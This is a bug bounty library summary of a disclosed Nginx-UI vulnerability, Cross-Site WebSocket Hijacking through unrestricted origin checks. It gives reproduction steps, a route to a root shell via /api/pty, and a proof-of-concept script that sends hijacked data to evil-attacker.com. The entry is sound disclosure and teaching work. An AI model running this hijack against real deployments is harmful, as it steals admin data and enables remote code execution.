# Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints

Nginx-UI WebSocket upgraders accept any Origin and auth rides in non-HttpOnly cookies, so a malicious page hijacks admin sessions to read logs and reach a PTY shell.

- Payout: Research
- Severity: high
- Program: Nginx-UI
- Found by: CE2Sec
- Disclosed: 2026-04-21
- CVE: CVE-2026-34403
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-78mf-482w-62qj
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-78mf-482w-62qj
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:go tech:websocket technique:source-review vuln:auth-bypass vuln:csrf vuln:info-disclosure vuln:rce

**Target:** Go/Gin web admin panel WebSocket endpoints (gorilla/websocket upgrader)
**Root cause:** Every gorilla/websocket Upgrader sets CheckOrigin to unconditionally return true, and the JWT is stored in a cookie set via JavaScript without HttpOnly or SameSite, so cross-origin pages carry credentials into WebSocket upgrades.
**Steps:**
1. Deploy nginx-ui (e.g. `uozi/nginx-ui:latest`, port 9000) and log in as admin so the `token` cookie is set.
2. Host an attacker page that runs `new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws')`.
3. On open, confirm connection succeeds from `http://evil-attacker.com`; onmessage forwards `e.data` to attacker collector.
4. Repeat against `/api/events`, `/api/analytic/intro`, `/api/nginx_log`, `/api/upgrade/perform`, `/api/cluster/nodes/enabled`.
5. For RCE, connect to `/api/pty`, read the login prompt, send `root` then brute/observe password prompt.
6. Control test without auth returns HTTP 403, confirming cookie is the auth vector.
**How found:** Code review of all WebSocket handlers revealed a copy-pasted Upgrader with `CheckOrigin: return true`; tracing auth showed the JWT is read from a cookie set client-side without HttpOnly/SameSite, making cross-origin hijack viable.
**Exploitation:** Victim admin visits attacker page; browser attaches the nginx-ui `token` cookie to the cross-origin WebSocket handshake, which the server accepts due to CheckOrigin=true. Attacker script streams metrics, events, nginx logs, and cluster data to their collector, and if OTP is disabled opens `/api/pty` to obtain an interactive root shell, achieving RCE.
**Escalation:** Data-only hijack escalates to full RCE via the `/api/pty` endpoint when the admin has not enabled OTP/2FA; also enables triggering binary upgrades and nginx reload/restart.
**Insight:** Grep for `CheckOrigin` returning true across every WS handler, then check whether auth is cookie-based rather than header/query-based — cookie auth plus permissive origin is the CSWSH precondition; enumerate all WS routes since one PTY endpoint turns info leak into RCE.

## Proof of concept (copied exactly from the original report)

**Attacker page WebSocket hijack script**

```
<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
    console.log('Stolen data:', e.data);
    fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>
```

